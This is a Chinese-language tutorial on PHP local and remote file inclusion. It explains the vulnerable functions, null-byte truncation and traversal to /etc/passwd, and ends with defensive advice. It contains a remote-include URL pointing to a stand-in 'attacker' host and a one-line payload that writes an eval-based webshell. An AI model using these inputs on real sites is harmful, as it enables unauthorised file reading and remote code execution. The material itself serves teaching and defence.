文件包含简介
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。
程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却非常少,甚至没有包含漏洞的存在。
文件包含相关函数
PHP常见的导致文件包含的函数如下:
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。后2个函数会造成敏感文件被读取
文件包含的利用条件
1、 include()等函数通过动态变量的方式引入需要包含的文件。
2、用户能够控制该动态变量
文件包含分类
1、本地文件包含
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php'))
{
include '/home/wwwrun/'.$file.'.php';
}
?>
假如用户控制$file的值为“../../etc/passwd”,那么这段代码相当于include '/home/wwwrun/../../etc/passwd.php',而这个文件显然是不存在的,那么如何处理呢?这里需要用到字符串截断技巧:PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串,即:../../etc/passwd\0,通过Web输入时,只需要UrlEncode,变成../../etc/passwd%00。
这里的“../../../”的方式又被称为“目录遍历”。可以通过配置PHP的open_basedir来限制,其作用是限制在某个特定目录下PHP能打开的文件。例如open_basedir = D:\soft\develop\env\\sites\www.a.com\,在windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。
防御策略:要解决文件包含漏洞,一种方式是使用枚举,另一种是采用白名单的方式。
2、远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
require_once $basePath . '/action/m_share.php'
攻击者可以构造如下的攻击URL: /?param=http://attacker/phpshell.txt最终加载的代码实际上执行了require_once 'http://attacker/phpshell.txt?/action/m_share.php'
问号后面的代码被解释成URL的querystring,也是一种“截断”,这是在利用远程文件包含漏洞时的常见技巧。同样的,%00也可以用做截断符号。
文件包含实战
远程文件包含
分析:首先查看源代码发现这里直接包含了file而未做任何检查以及目录限制,存在任意文件包含漏洞,因为没有目录限制所以可以远程包含
在这里我们首先找一个有php的网站看看:
使用该index.php为包含对象:
下面进行包含操作:
从上面的结果中可以看到成功包含该文件~
B、本地文件包含
源代码:
从上面的代码中可以发现这里限制了目录为“./”,这里其实还是可以通过目录遍历来绕过的,下面我先包含以下当前目录下的测试文件试试看,先来一个txt.txt:
成功包含,同时你会发现在txt中的php代码竟然会被执行,所以也算是一个小技巧哦-
之后我们使用“./”来绕过目录限制包含以下其他目录下的文件:
执行之后成功包含:
最后来一个“文件包含写shell”:
首先上传一个图片或者txt文档,在文档中写入以下php语句:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[cmd]);?>");?>
之后包含该文件:
之后可以看到成功写入shell:
文件包含防御
1.严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");。